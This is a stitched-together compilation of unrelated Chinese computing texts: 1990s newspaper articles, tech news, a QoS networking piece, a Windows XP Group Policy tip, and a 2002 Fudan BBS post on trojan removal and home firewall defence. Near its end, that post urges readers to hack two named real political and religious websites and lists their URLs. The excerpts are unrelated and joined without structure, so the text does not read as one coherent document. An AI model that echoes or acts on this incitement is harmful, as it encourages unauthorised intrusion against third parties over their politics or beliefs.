的协力。从历史和宏观角度来看，中国未来的信息市场是十分广阔的。在科技飞速发展 的今天，我们完全可以做到把最先进的技术拿来为我所用，使在线信息咨询服务形成一 个大规模的社会性服务行业，发挥各方的积极性，做到既有分工又有合作，既有竞争又 有联合，形成一股强大的推进势头，以抵御外来压力，使中国的信息产业迅速崛起。
CNN报导，在美国消费电子产品展示会上，微软总裁盖茨在作立题发言时称，数字技术带来了一场涉及人们生活各个方面的技术革命，目前技术创新的周期越来越短，过去以为要几年后才能到来，现在不出一年就会出现在你的眼前，就象手掌式微机，目前采用新版Window CE软件的掌上微机的功能是以前无法想象的。盖茨认为，今后每一个家庭，每一间住所都将成为一个计算机系统，而微软的目标就是通过微软的软件和技术使微软成为这个数字世界的中心。
日月光华 -- HackerVsSecurity精华区文章阅读 -------------------------------------------------------------------------------- 发信人: orb (juzi), 信区: HackerVsSecurity 标 题: 木马，病毒，黑客，北区(转载) 发信站: 日月光华 (2002年04月04日18:00:40 星期四), 站内信件 【 以下文字转载自 Undergraduate 讨论区 】 【 原文由 hotwinter 所发表 】 搜索c:盘是否有kernel.exe文件(非WIN自带文件，不信可到人家机子上查查）（按F3键 ；或按开始\搜索）。若找到说明已中了木马。立刻将其删除。 同时kernel.dll（系统文件）也已感染，找到后删除。 现在，手头上应有系统启动软盘（win9x或win2k)及系统安装光盘。 用软盘启动系统（由于删除了kernel.dll系统已无法从硬盘启动），在DOS提示符下键入 EXT命令。出现提示符后按如下步骤： 1.键入系统在光盘的安装目录（如：G:\WIN9X;G:\WIN2K) 2.键入kernel.dll 3.键入系统的安装目录（如：WIN9X----C:\WINDOWS\SYSTEM;WIN2K-----C:\WINNT\SYST EM32) 重新启动一切正常。 自从北区通网后，偶机器几乎天天受到扫描下为天网防火墙的某天中午日志：(已隐去I P) [12:05:56] 10.100.1xx.122试图连接本机的NetBios-SSN[139]端口， TCP标志：S， 该操作被拒绝。 [12:28:01] 10.100.1xx.125试图连接本机的Http[80]端口， TCP标志：S， 该操作被拒绝。 [12:35:27] 10.100.1xx.151试图连接本机的NetBios-SSN[139]端口， TCP标志：S， 该操作被拒绝。 [12:36:11] 10.100.1xx.142试图连接本机的Http[80]端口， TCP标志：S， 该操作被拒绝。 防黑有道： 1.系统定要设密码。防有人以工具扫网，发现Administrator密码为Null后非法登陆，宝 贝硬盘为人鱼肉。 2.密码定要多位，防人以黑客字典猜中，偶竟发现有人密码为123.... 3.经常用superscan等扫描器，扫一下自己的端口，发现有异常的端口开放定要警惕。 4.发现自己设定的pop3地址异常等情况,可能中了将机器上密码发送到指定邮箱的木马。 5.严防同寝室人，或熟人在自己机器上安装木马（这最可怕），发现是谁后痛扁一顿， 并让请一月饭:-) 6.现发现可能有人利用门口打印的小店，散播木马和病毒，发现打印后自己的软盘上有 可疑文件立即删除，绝不要双击！ 7.勿下载可疑的共享程序。 8.装防火墙，推荐天网防火墙个人版。 另外： 若真有人黑术高超或闲得无聊现推荐几个网站来黑一黑： (台独）http://home.pchome.com.tw/education/taidootw (法轮功）http://66.169.49.75/package/admin/17713.html （说明：至4.4中午仍能连上） 好了就写到这，欢迎交流。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.100.111.200] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 10.100.105.153] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
近日，国内最大的虚拟社区网站ChinaRen.com宣布：其接入ChinaNet和Cernet的带宽分别括容至100M，从而使网站在Internet接入带宽提升至200M，伴随其注册用户飙升至30万后，创下网络用户平均占有带宽资源名列国内网站第一的优异成绩。 　　据专家介绍，从技术上讲，网络速度主要由用户的接入速度、网站的数据服务器的性能来决定。如果带宽不够，访问者又多时，就会造成网络拥挤，就是人们常说的上网慢。来自CNNIC的五次调查报告显示，上网速度慢是制约我国网民不能更长时间上网的主要障碍之首。 　　ChinaRen.Com自建立之初，就致力于高品质虚拟社区的建设，并率先在ChinaNet和Cernet同时放置了服务器，以向不同网络用户提供更好的服务，成为全球广大华人、青少年信息咨询、娱乐空间和情感交流的理想家园。 　　"卡通聊天室"、"主页大巴"、"特色电子邮箱"等主要产品推出和不断完善，注册用户和在社区生活时间也不断增长。此次带宽增扩至200M，一方面表明社区网站业务的急剧扩大，另一方面也说明随着网民对互联网的熟悉和了解，已不仅仅满足简单的信息攫取，更需要快捷化、多样化和个性化的网络电子生活。这显示中国互联网在总体建设和发展过程中开始向多元化和专业化的进程迈进。
BBC报导，美国威斯康星--麦迪逊大学研究人员最近在自然杂志发表文章称，他们在实验室中成功地将合成的DNA分子固定于涂有金的玻璃片上，并利用排除法来筛选DNA，清除了代表误合的DNA分子留下与正确答案相符合的DNA分子，制成一台可执行16个解的复杂运算的DNA计算机。研究人员指出，这仅仅是非常初步阶段，但在实验中，通过表面化学手段，使设计DNA计算机的步骤大大简化，为设计更复杂的DNA计算机提供了可能。
BBC报导，IBM公司在周一宣布，该公司四条生产线的产品今后将全部与Linux操作系统兼容，IBM今后生产的网络计算机将全部可以在Linux环境下运行，IBM发言人称，Linux操作系统正逐渐发展成为一种行业标准，因此，IBM决定今后将把Linux作为其今后硬件开发工作中的主要内容来加以考虑。
Intel公司要求美国政府禁止台湾最大的芯片供应商之一威盛在美国销售个人计算机元件，称该公司盗用了其版权。 　　Intel在本月向美国国际贸易委员会提交的一项文件中，要求调查台湾威盛公司，并要求发布一项阻止该公司在美国销售某些芯片。 　　Intel还要求国际贸易委员会禁止进口带有威盛芯片组的计算机系统和主板。 　　威盛公司官员没有立刻对此发表评论。 　　国际贸易委员会是一个独立的政府部门，它具有禁止违反专利产品进口的权利。它在未来几周内将确定是否调查Intel的陈述。完成该调查可能需要几个月时间。 　　抱怨源于1998年Intel和威盛达成的一项协议。该协议很快被撕毁，促使Intel1999年7月在美国地方法庭起诉威盛侵权。
IBM推出能够使其网站接受语音的软件 为了向手机开放其商业门户，IBM公司已经推出了能够使其网站接受语音的软件。 IBM公司的这套软件是一套Java API，使开发人员能够开发被IBM公司称之为录音portlet的应用软件，转录来自电话或其它语音应用软件的信息。这一理念的基本概念是，让用户通过电话口授信息，使信息转换为文本内容，然后由基于互联网的应用软件执行相应的操作。 IBM公司普遍计算部门负责移动解决方案的主管考克斯表示，我们正在将门户向新的设备扩展，这意味着我们能够通过手持机、手机和其它装置访问门户网站，我们正在开发新的界面，将门户扩展到移动无线环境中。 如何在WebSphere Voice Application Access基础架构使用该软件的例子包括创建用户帐户、注册电子邮件地址、管理和纠正录音。这些可供用户免费下载的录音portlet基于一种被称之为VoiceXML的协议。 IBM公司的Voice Application Access技术已经能够使其定制化商业门户网站对一些语音指令作出反应，但推出录音portlet后，IBM公司声称其AlphaWorks网站能够接受的语音词汇已经达到了“数十万”。
笔记本电脑早已经脱去了它高贵的外衣，慢慢的走进了普通百姓的生活之中。有许多家庭选择笔记本电脑的主要原因竟然是家中空间太小，台式电脑放不下。这足以说明现在“笔记本电脑”和“高贵”划等号的历史已经结束了。话虽如此，但目前笔记本电脑的价格依然在万元左右，尤其是那些进口机型。随着我国自主笔记本产业的发展，国产笔记本电脑也越来越多的出现在了我们的视线中。其凭借着低廉的价格，完善的售后服务以及强大的性能，越来越赢得我们的青睐。从这次起，Larry将为大家推荐几款不错的国产笔记本电脑。 第一篇：豪华型 价格范围：15000－20000人民币 国产笔记本电脑并不意味着永远的低价。俗话说，一分价钱一分货，国产机型中同样有着超强的配置，当然，相应的它的价格也会偏高。但相比于同等价位的进口机型，它们有着更好的配置，还是有竞争力的。 轻薄机型永远是人们追求的目标。谁也不愿意一天到晚背着一个六斤重的东西满世界跑。昭阳S60在不失性能的情况下将身材压至了20毫米厚以及1.48公斤的重量。一下子背上的包袱轻了一半，一定会让人舒服很多。昭阳S60采用了Intel Pentium III-M 1.2G的处理器，搭配了256M SDRAM的内存。保证了一般软件的运行。30G的硬盘也足以装下你的文档。Larry估计昭阳S60一定是为那些出门做演示的人员设计的。因为它居然配备了一个遥控器，以供远距离控制电脑。S60搭配了DVD，使你在赶往会场的路上也不会很寂寞。由于是轻薄机型，昭阳S60选择了12.1英寸的小屏幕液晶显示屏，分辨率为1024×768，提供VGA的视频输出。它机身虽小，但同样容纳了许多接口，比如2个USB2.0接口， Line_in/Micr_in, Line_out，Modem接口，网卡接口，红外口，并且内置了microphone（很实用哦），IEEE1394接口等。昭阳S60也是这次豪华型机型中唯一使用16M USB 闪存盘来代替软驱的机型。
【 日 期 】19960102 【 版 号 】5 【 标 题 】运用高科技 产品日日新 华日集团率先制造智能型冰箱 【 作 者 】何黄彪/赵相如 【 正 文 】 本报讯 记者何黄彪、赵相如报道：浙江华日集团公司坚持以科技为先导，积极引 进、消化国外先进技术，率先在全国利用微电脑技术武装家电制冷产品，取得了显著成 绩。从１９９２年起推出我国第一台电脑冰箱起，到１９９５年推出新一代模糊控制智 能型电脑冰箱，３年多来用高科技制造的新产品深受广大用户欢迎，连续荣获“全国最 畅销国产商品金桥奖”，企业效益每年均递增２５％。 现代高科技的快速渗透，有效地促进了我国家电产品的更新换代。从９０年代起， 华日集团就积极在企业内部培养高科技人才，聘请大专院校专家学者，努力在制冷中运 用现代计算机技术，通过近３年的摸索和试验，终于成功地推出了中国首台华日电脑全 自动电冰箱，结束了我国电冰箱机械控制的年代。接着，该公司又运用现代模糊控制理 论，开发出模糊控制智能型冰箱。这种冰箱能自动识别环境温度和冰箱内食物存放数量 ，自动控制冰箱运行到最经济、最节能的状态。电脑模糊控制理论和技术与制冷技术的 成功运用，使华日集团走在制冷行业高科技的前列。 如今，华日集团正致力于无氟里昂绿色冰箱的生产，他们以环戊烷为发泡剂、异丁 烷为制冷剂的华日绿色冰箱已通过权威部门检测，各项性能指标全部符合国家标准和国 际标准。
【 日 期 】19960103 【 版 号 】10 【 标 题 】警惕！电脑垃圾 【 作 者 】升平 【 正 文 】 电脑还会产生垃圾？是的。 当现代人享受着信息时代带来的高科技优势时，其发展的负面已给人们带来贻害， 那就是电脑垃圾，通常指那些无用的信息。信息资料的流通与共享，无疑会对促进各国 科学、经济及军事的发展起到积极的推动作用，然而科学在发展，信息数据库的容量也 就随之增大，在过去看来先进而在今天看来已落后的数据库中的许多资料显得陈旧过时 而且无用，这些信息大量侵占了计算机的容量，使人们在浩如烟海的资料中查询有用的 资料时变得越发困难，检索时间也越来越长。目前美国政府已意识到了这一点，正积极 拟定一些有效措施解决这一问题。 将电脑相互联网的开山鼻祖、计算机专家文顿·Ｇ·瑟夫无论如何也不会想到自己 费力研究用于信息传输和资料共享的计算机联网，今天却给人们制造了另一种电脑垃圾 ———计算机病毒。最近几年计算机病毒的发展相当迅猛，危害性也越来越大。有关资 料表明，全球每天有５种新的计算机病毒产生。一家计算机中有毒，只要你与之联网， 那可恶的病毒就会找上门来，让你的信息内存面目全非。 另外，一些对计算机本身无害却干扰人们正常使用计算机的骚扰病毒也大量滋生。 特别严重的是不法分子为了自己的私利使色情泛滥于电脑网络。这些糟粕在公共网络中 跟一些政治、宗教和科技的图片混在一起，甚至世界各地使用电脑互联网络的孩子也可 能看到。纽约一个小童某日收到一个带有神秘文件的电子邮件，附有解密说明。他叫妈 妈打开它，结果其母大惊失色，因为显示在屏幕上的竟是变态色情行为的大图片。 由于电脑网络系统属无人管理、无指挥中心、无主人的“无政府主义”状态，只要 标明电子地址，任何信息均可自动寻找途径到达目的地。对此，人们无不担忧。由于技 术原因，目前还很难在没有警察没有国界的电脑联网中废除色情内容，特别是藏于用户 小组中的图像。所以，在世界各地，电脑网络的色情问题仍是一个十分棘手的难题。
【 日 期 】19960103 【 版 号 】10 【 标 题 】喜回首：中国电脑业群星灿烂（科坛综述） 【 作 者 】尹荣 【 正 文 】 光阴如箭，日月穿梭，回头品味一下１９９５年中国电脑业迈出的每一步，令人鼓 舞、令人感奋。 与尚未走远的１９９４年相比，１９９５年国内计算机市场呈现出群星灿烂的景象 ，发生的主要变化可从以下四个方面加以概括： 首先，国民经济信息化建设高歌猛进。利用现代信息手段提高科学管理与经营决策 的水平，已成为各级政府领导部门和企事业管理者的普遍共识。面对无孔不入、无可回 避的信息资源，熟练驾驭现代化信息处理工具的能力已被视为衡量个人、团体和社会水 平的重要标志。据估计，今年全国微机总销量将首次突破１００万台，这个数字相当于 前十年国内微机总装备量的一半。 其次，电脑已成为一个新的消费热点，受到社会各界的关注。今天，我们已经很难 在大城市里找到一个没有电脑的学校和机关，同时，我们也很难找到一个对电脑一无所 知的普通市民。不管我们有准备还是没准备，不管我们愿意还是不愿意，电脑正健步如 飞地走进生活的每一个角落。于是“电脑大屏幕”、“电脑时代”、“电脑空间”、“ 电脑广场”⋯⋯这些应运而生的电脑专版（刊），掀起了一浪高过一浪的电脑热潮，同 时也推动着电脑从专业领域走向家庭。 国内计算机家用市场终于涅重生，两年多“温而不热”的“熊市”在一路追涨声中 扶摇直上。我们欣喜地看到，名牌电脑正成为小康家庭的新宠物，声卡、光驱、影碟卡 等一些多媒体配件大大丰富了电脑的教育、娱乐功能，越来越成为千千万万普通人的生 活伴侣。 面对国内电脑市场国际化竞争格局的严峻压力，国产名牌微机不负众望再创辉煌。 年初，“联想１＋１星座”系列电脑的强大市场攻势让人们眼前为之一亮，紧跟着，厚 积薄发的金长城微机又以出色的表现崭露头角。我国自有品牌微机的底蕴比以前更足了 。这种信心建立在联想、金长城等国产微机一连串令人眩目的市场成就中，建立在国家 微机工业走向基地化、集约化和国际化的进程中。我们祝福方正电脑也加入今年电脑市 场佼佼者的行列，让所有信任、支持国产微机的社会大众扬眉吐气地购买国产微机、使 用国产微机！
发信人: alexander (老鬼), 信区: Network 标 题: 网络融合还看QoS 发信站: 日月光华站 (Thu Dec 2 19:59:38 1999) , 转信 　　 网络融合的生死存亡取决于能否顺利地通过基于策略的网络 技术实现基于IP的QoS 。然而，基于策略的网络技术仍在开发之 中。 您相信网络融合吗？更确切地说，您相信语音、数据和视频能够 和谐地在高速IP网络上传输这样一种世界新秩序吗？ 如果您相信的话，您也会相信基于策略的网络技术。融合最终能 否成功取决于IP社区以可管理、可伸缩的方式实现服务质量（QoS ） 的能力：这正是基于策略的网络技术的意义。 现实表明，基于策略的网络技术标准仍在制定之中，协议还没有 经过测试，产品也不成熟。基于策略的网络技术在今后一两年还 不能准备就绪。但是，开始学习基于策略网络技术的原理并不算 早。 策略的基本原理 策略规定了如何在网络客户中提供网络资源。客户可以是用户、 应用程序和主机，而资源可以根据时间、资源的使用以及客户的 权限等情况通过静态提供，也可以通过动态提供。 高级策略语句，如“向所有IP语音数据流提供加急转发”，被翻 译为“if < 条件 > then < 行动 >”规则结构化集合，使策略 可以被不同的网络部件保存、 检索和解释。 可惜的是，第一代系统通常都不能解释高级策略语句。相反，这 些系统要求网络管理人员来输入像“if Port=HTTP(80) then set IP Precedence=4”这样的策略。 开发中的架构 基于策略的网络最令人鼓舞的前景之一是Internet工程任务组 （IETF）在制定标准策略架构以及相关协议与方案工作方面所取 得的进展。 至少在表面上看已经初见端倪的架构是一种简单、精致的架构。 典型基于策略的网络将包括： 策略输入控制台：网络管理人员通过它定义和编辑策略的一种管 理工具； 策略决策点（PDP）：从数据库中检索策略，并代表策略执行点 （Policy Enforcement Point，PEP）做出决策的策略服务器； PEP：通过访问列表、队列管理算法和其它方式执行策略决策的 网络设备， 如路由器、交换机和防火墙； 策略数据库：保存策略的轻型目录访问协议（LDAP）兼容的目录 服务器。 PDP和PEP之间通过一种被称为通用开放策略服务（COPS）的简单 询问／响应协议进行通信。由于COPS是面向连接的，并且十分可 靠，因此它优于SNMP。COPS中包括防止多个PDP同时试图更新同 一个PEP的机制。 该架构没有规定实施的方法，多个部件既可以同时存在于一个物 理服务器上，也可以存在于自己的服务器上。 策略规则必须以数据结构的形式来表示，使之可以被保存和检索。 为解决这一问题，IETF的策略架构工作组定义了策略架构核心信 息模型。该模型规定了可以用于通用策略表示的面向对象类的高 级集合。核心模块中的对象类可以利用子类进行扩展，以表示特 定类型的策略，例如，QoS或网络安全策略。 各厂商之间已就策略信息应当被保存在LDAP兼容的目录中取得了 基本的一致，因此策略架构工作组定义了从核心信息模型到LDAP 目录方案的映射。 架构概念得到了厂商的广泛支持，并在IETF的Internet草案中做 出了规定。尽管没有一项概念达到了“请求评论”（RFC）的阶段， 但将这些想法集中在一起为未来如何建立策略网络系统指明了发 展方向。 QoS标准 共有三种与企业网络相关的QoS 标准：差别服务（Diff�Serv）、 资源保留协议（RSVP）以及802.1p。 Diff�Serv对IPv4服务类型（ToS）字节或IPv6传输流级别如何用 于规定QoS要求重新进行了定义。Diff�Serv与目前使用的ToS中 的IP优先位是向后兼容的。 Diff�Serv 的目的是为一般传输流类型或传输流集合（对应于单 个传输流）提供QoS。 RSVP是一种基于流的协议，它允许应用通过网络发送端到端控制 信息来表明它所需要的QoS（时延、抖动、带宽）。传输路径上的 路由器为应用流保存资源， 或者拒绝其进入网络。一年多以前， RSVP就已经在Cisco、Nortel的路由器，以及其它许多厂商的产品 中得到了应用。 802.1p是一种第二层机制，它允许在802.1Q虚拟LAN包头中使用三 比特的信息来标记数据包的QoS。 企业网络管理人员可能将在多数QoS应用中采用Diff�Serv，并在 一些需要保留资源和许可控制（与其提供服务质量很差的语音， 不如拒绝语音呼叫）的非常敏感的应用中（例如，IP语音）选择 使用RSVP。 在Diff�Serv模型中，在网络设备级实现QoS包括四个步骤。它们 是： 可以根据第二层到第四层（或更高）的包头信息对数据包进行分 类； 通过设置Diff�Serv位，标记数据包来指示类型； 根据策略对数据包进行处理（在必要时有选择地丢弃包），以避 免拥塞； 成形（优先排队与转发）。 随着专用集成电路技术的进步不断使第三层功能成本更加低廉， 我们认为更高层（Layer）的分类与标记功能将由WAN边缘完全回 到布线室中。而布线室正被多数厂商认为是这种功能最后的归宿。 在实践中，分类与标记功能涉及到创建访问控制列表。策略是由随 机早期检测或加权随机早期检测等算法实现的。成形（shaping） 是利用加权轮询、 加权公平排队、基于类的排队、基于类的加权 公平排队以及其它算法实现的。 目前，配置策略和成形算法是由网络管理人员在接口到接口的基础 上完成的。这也正是基于IP的QoS大规模应用少之又少的原因。 各厂商的情况 在过去一年到一年半的时间里，各大主要网络设备厂商都宣布了基 于策略的网络计划，但只有很少几家厂商推出了产品。 Cisco 作为Cisco公司CiscoAssure基于策略的网络计划的一部分，该公司 3月开始发送QoS Policy Manager 1.0（QPM）。CiscoAssure中还 包括实现网络安全性的策略管理器Cisco Security Manager。QoS 和安全管理器今后仍将作为独立的产品，但是共享一个通用的架构。 QPM的图形用户界面简化了QoS配置的许多方面。在典型的会话中， 用户可以添加新路由器，可以为每个接口选择排队算法，为类型过 滤器和行为（设置IP优先级）接口创建策略，安排下载到路由器的 策略。相同类型的接口可以按组分类，使策略既可以在单个接口级 实施也可以在组级实施。 QPM是第一代策略管理器产品：它提供了一些可以提高生产力的好 处，但仍有许多细节需要用户完成，如队列机制和成形参数的选择。 因此，网络管理人员仍需要了解Cisco的许多队列算法。 QPM的首发版没有使用LDAP目录，也没有使用COPS。这两种技术有 望在2000年上半年出现在产品中（COPS目前正运行在Cisco的试验 室中）。下一版产品还将增加支持设备的数量，由大约200台设备 增加为1000台以上。 Nortel Nortel公司的Optivity Policy Services 1.0（OPS）于8月开始发 货。OPS采用了IETF草案中描述的许多概念，包括策略服务器、 COPS和存储策略信息的LDAP兼容目录。 OPS目前在LDAP目录树中自己的分支存放策略信息，但是将在LDAP 方案标准推出时迁移到IETF标准上。 Nortel是第一批在网络设备（即运行BayRS 13.20路由软件的路由 器）中采用COPS客户的公司之一。OPS利用COPS进行PDP�PEP通信。 它还支持包括Cisco 路由器在内的其它设备。 在典型OPS会话中，用户可以添加路由器和单独的接口，可以使用 过滤器创建传输流模式，创建像否定、标记或策略这类行为以及 创建与传输流模式、行为和接口相关的策略。相同类型的接口可 以按组分类。 与Cisco公司的QPM类似，OPS提供了一些可以提高生产力的好处， 但仍有许多细节需要用户完成。第一版产品中缺少的一个功能是 规定和控制接口队列机制的能力。该功能必须在该策略系统之外， 通过Nortel公司的标准路由器配置软件来实现。该公司预计在2000 年第一季度将此功能添加到OPS中。 Cabletron 人们可能要说Cabletron在现有生产网络中开发基于策略的网络 技术的历史比其它任何公司都长。四年前，Cabletron曾推出了 一种早期PDP产品Virtual Network Server（VNS）。 不过，VNS当时是基于Cabletron公司的专有SecureFast Switching 技术的，该公司目前开始不再采用专有技术，而转向基于标准的 技术。该公司的SmartSwitches 现在支持802.1p这类QoS标准， 并支持使用ToS／Diff�Serv。SmartSwitches还在每个端口上支 持四个队列，支持WFQ以及第二层到第四层分类和标记。这就意 味着Cabletron目前就可以在布线室中提供高层的分类和标记技 术，而其它多数厂商正试图通过升级来实现。 Cabletron公司的QoS策略管理器（称为Spectrum Policy Aware） 预定在2000 年第一季度发货。策略信息将保存在LDAP兼容的目录 中，PDP 与PEP 之间的通信将支持COPS以及其它协议。PEP也可以 使用LDAP与目录服务器进行通信。 3Com 3Com公司的策略服务器也要到2000年第一季度才能发货，该产品 目前暂时叫Transcend Policy Service。该产品将符合IETF正在 开发的标准，其中包括策略架构和采用COPS。策略将被保存在LDAP 兼容的目录中，并且通过代理服务器来提供对传统产品的支持。 3Com公司正通过向其第二层交换机中添加802.1p，向第三层路由 器添加ToS ／Diff�Serv和RSVP来开发具有QoS功能的多种产品。 3Com公司的动态访问产品也提供了在网络接口卡（只要是3Com网 卡）上提交包分类和包标记的功能。 多厂商管理 在多厂商环境中，基于策略的管理的前景并不光明，至少在近期 是这样。厂商与厂商之间实施策略与成形算法的做法差别很大， 甚至在一家厂商的产品线中都是这样。要使策略管理真正独立于 厂商，策略和成形的通用功能必须模型化，并且在QoS方案和策略 信息库（PIB）中予以表示。网络设备必须支持PIB。 多数厂商将支持自己的设备，并将尽力支持Cisco产品。然而， Cisco支持很多QoS机制，并且所支持的机制会越来越多。对于Cisco 公司来说，支持所有的机制都很困难，更不要提其它厂商了。 尽管近期互操作性前景十分暗淡，但仍有理由感到乐观。实现互 操作性的长期前景相对清晰，厂商将投资实现互操作性。 结论 基于策略的网络技术无疑处于发展的早期阶段。IETF已经取得了 巨大进步，但是仍有许多工作需要完成。可能还需要一年，多数 有关标准才能达到RFC状态。 可能更重要的是，IP社区离真正理解如何最佳地使用Diff�Serv 和RSVP这样的技术来在生产网络中实现QoS仍需一到两年的时间。 一旦在此领域取得一定的共识，厂商将需要使客户可以方便地在 企业中实施这些技术。 不过，不要害怕跳入基于策略的大海中，水是有一点冷，但正变 得越来越暖和。现在涉足这一技术将有助确保您的网络在未来成 为具备QoS的网络。 -- 牡丹烟下死，做鬼也风流。
【 日 期 】19960105 【 版 号 】5 【 标 题 】软硬互补 标本兼治 我国计算机反病毒研究有新思路 【 作 者 】薛伍 【 正 文 】 本报讯 我国计算机反病毒技术研究继续走在世界前列。国家科技成果重点推广计 划项目与国家级“火炬”计划项目———瑞星防病毒卡的研制者刘旭最近提出，单纯依 靠杀毒软件或防病毒硬件，已不太适应计算机日益网络化的安全要求，实现“以防为主 以杀为辅，软硬互补标本兼治”是计算机反病毒领域的发展方向。 据介绍，计算机反病毒领域比较流行的有两种模式———杀毒软件与防毒硬件，杀 毒软件是基于特征值扫描原理，通过提取已知病毒的特征值，对计算机文件进行比较， 发现符合病毒特征，然后再按与生成病毒相反的过程编制一个杀毒程序，从而消除病毒 。杀毒软件的优点是使用方便，能彻底杀除已知病毒，但用户自行升级难度大，本身也 易感染病毒。 防病毒卡是我国计算机专家研制开发的受国际同行称赞的独特防病毒硬件技术。核 心是采用广谱病毒识别机制，不受病毒种类限制。针对病毒感染、发作、破坏等基本行 为与可能途径，建立多级动态监控防御体系，防范已知和未知病毒，是领先国际的“治 本”方法。但其缺点是只“防”不“杀”。 这位现任国内最大反病毒产品专业公司———瑞星电脑科技公司总工程师的专家提 出，实现“以防为主以杀为辅，软硬互补标本兼治”新体系是越来越多计算机用户的要 求，也是反病毒技术的发展方向。瑞星公司已在国内率先实现了这套新体系，目前已研 制成功新的反病毒系统产品。 （薛 伍）
【 日 期 】19960115 【 版 号 】7 【 标 题 】『苹果』竞争求存 【 作 者 】吴绮敏 【 正 文 】 在ＩＢＭ个人电脑及其兼容机一统天下的势头之下，苹果电脑似乎在世界计算机市 场中已沉默良久。然而，据权威的国际数据公司（ＩＤＣ）的最新统计，苹果公司在去 年第三季度共卖出７９．５万台微机，重居美国电脑公司销售记录的榜首。 美国质量教育数据公司的报告又传递出这样的信息：１９９４—１９９５学年，全 美公立学校投资约２５亿美元购买了将近１００万台电脑以及相关的设备，其中美国苹 果公司Ｍａｃ（麦金托什）电脑的销售额占全部教育电脑份额的４６％，而且在未来一 个学年里，Ｍａｃ电脑有望获得美国全部公立学校电脑设备需求中５８％的订单。 苹果公司面向教育领域的作为给公众留下了深刻的印象，这正是“苹果”得以重新 抬头的重要原因之一。笔者联想到中学时代，所在学校以及其他一些省市重点中学，都 有联合国教科文组织赠送的苹果电脑，许多中国学生就是从苹果机开始，步入计算机世 界的。在美国更是如此，苹果公司长期致力于学校市场的开发，获得了用户的信任，其 优惠的价格、周到的服务和稳定的性能，使得中小学校成为苹果电脑的重要市场。苹果 公司希望赢得孩子们的喜爱，使他们长大以后成为Ｍａｃ机的用户。难怪人们公认，苹 果电脑已在美国教育领域站稳脚跟。 笔者在德国短期学习时，对人们以往普遍认为几乎会被淘汰的苹果电脑有了新的认 识。不仅学校教学所用的计算机设备全是苹果机，而且来自巴基斯坦、菲律宾、不丹、 巴巴多斯和牙买加等国的新闻界同行也说，他们在国内主要使用苹果电脑。在参观德国 几家知名报刊的办公区时，发现苹果电脑比比皆是；有些工作人员甚至只识“苹果”的 操作系统，而不知大名鼎鼎的ＤＯＳ环境。问问几位来自英国的教师，得知苹果电脑在 英国的新闻出版界也应用广泛，苹果电脑在桌面出版领域确实具有不少优势。 苹果电脑公司发展至今实属艰难，其原因是在与ＩＢＭ的角逐中，市场明显地向Ｉ ＢＭ系列微机倾斜。苹果机与ＩＢＭ的产品互不兼容，ＩＢＭ市场的扩大，就意味着苹 果市场的萎缩。人们喜爱的许多软件产品只能应用于ＩＢＭ系列计算机。然而“苹果” 并未沉沦，如今，它推出了采用具有领先技术的ＰｏｗｅｒＰＣ芯片的新一代计算机。 这种新机型既可以更好地发挥原有的Ｍａｃ机软件的功能，还能够运行为ＩＢＭ系列微 机开发的各类软件。对于苹果电脑来说，这是一项具有深远意义的突破。 毫无疑问，任何一项引人注目的成就，都来自实践者不懈的追求和独辟蹊径的探索 。正如专家们所说，苹果公司能成功地占领基础教育领域，并不仅仅是因为推出了新机 型，而是与它多年来的技术储备和对计算机辅助教学的独特理解密切相关。苹果计算机 从世界电脑市场的“夹缝”中挣扎出来，终于赢得新天地，其中蕴涵的也许正是生存竞 争的真谛。
美国IT三巨头宣布将携手寻找对付垃圾邮件办法 　　微软、美国在线和雅虎三家美国最大的电子邮件服务供应商4月28日宣布，将携手寻找对付垃圾电子邮件的办法。 　　微软等三家公司在一份联合新闻公报中说，针对垃圾邮件，它们准备重点在以下几个方面进行合作：通过限制电子邮件发送者采用某些技术隐藏或改变发件人身份等，减少电子邮箱用户接收到的垃圾邮件数量；通过削弱发送者利用微软、美国在线和雅虎等电子邮件系统大批量生成虚假邮件账号的能力，大幅度减少网上垃圾电子邮件的发送量。 　　统计显示，过去两年来，因特网上的垃圾电子邮件数量呈现出激增之势，目前因特网上的所有电子邮件中有40%属于垃圾邮件，全世界的公司企业每年大概要花费80亿至100亿美元来解决垃圾电子邮件问题。
使用Windows XP的用户同时按Ctrl+Alt+Del键的时候，就会启动Windows XP 的任务管理器，任务管理器能够使我们方便地终止或启动程序的运行，监视所运行的所有程序，查看计算机的性能等，在很多方面提高了我们的工作效率。但是，其他的人如果在自己的微机上按Ctrl+Alt+Del键，也会启动任务管理器，自己的一些秘密和隐私就会让别人知道，而且很多程序会被终止，造成不良的后果。因此，在必要的时候我们需要关闭任务管理器功能。 　　以前，有通过修改注册表关闭任务管理器功能，但是较繁琐，而且要修改注册表。我们只要通过Windows XP的“组策略”设置，便可以实现关闭任务管理器的目标。在“开始”菜单中的“运行”对话框中输入“gpedit.msc”命令，就会启动“组策略”设置窗口。在组策略窗口中，执行“本地计算机策略→用户配置→管理模板→系统→Ctrl+Alt+Del选项”命令。在右边的“删除任务管理器”的属性中，设置为“已启用”。如果有人按Ctrl+Alt+Del键的时候，系统就会禁止操作，从而防止对任务管理器的错误操作。在“Ctrl+Alt+Del选项”中，还有另外三个可供设置项，分别是“删除锁定计算机”，“删除改变密码”，“删除注销”，通过修改这三项的属性，可以实现相对应的功能。
【 日 期 】19960123 【 版 号 】7 【 标 题 】千家万户走进互联网络 【 正 文 】 编者按 半个世纪以来，计算机带着神秘色彩逐步闯入人类生活。今天，互联网络（Ｉｎｔ ｅｒｎｅｔ）热潮正冲击着世界，人们无法抗拒这种新技术的诱人魅力。至１９９５年 底，全球１５５个国家和地区共有４０００多万用户进入互联网络。 起源于４台计算机主机相联结的互联网络，已成为人们今天所关注和谈论的焦点。 互联网络的用途日益扩展，用户正以每月递增１０—１５％的速度扩大。尽管面临着发 展过热、有待管理和技术超载等问题的困扰，互联网络仍然表现出强大的生命力。目前 计算机领域正发生广泛而深刻的变化，竞争愈加激烈。一个以网络为中心的计算机新时 代已经到来，信息社会正迅速成为现实。为此，本报特辟专版，邀请我国著名的计算机 网络专家、本报驻外记者和编辑评说互联网络，以飨读者。 人民日报综合数据库国际平台于去年９月进入互联网络试运转，将《人民日报》、 《人民日报海外版》、《市场报》的全文信息（包括部分图片）向全世界传递，提供全 天２４小时的检索服务。如今，读者每天已达３万多人次，遍及世界各个角落，主要分 布在美国、加拿大、英国、法国、德国、瑞典、芬兰、澳大利亚、日本、新加坡等国和 港澳台地区。 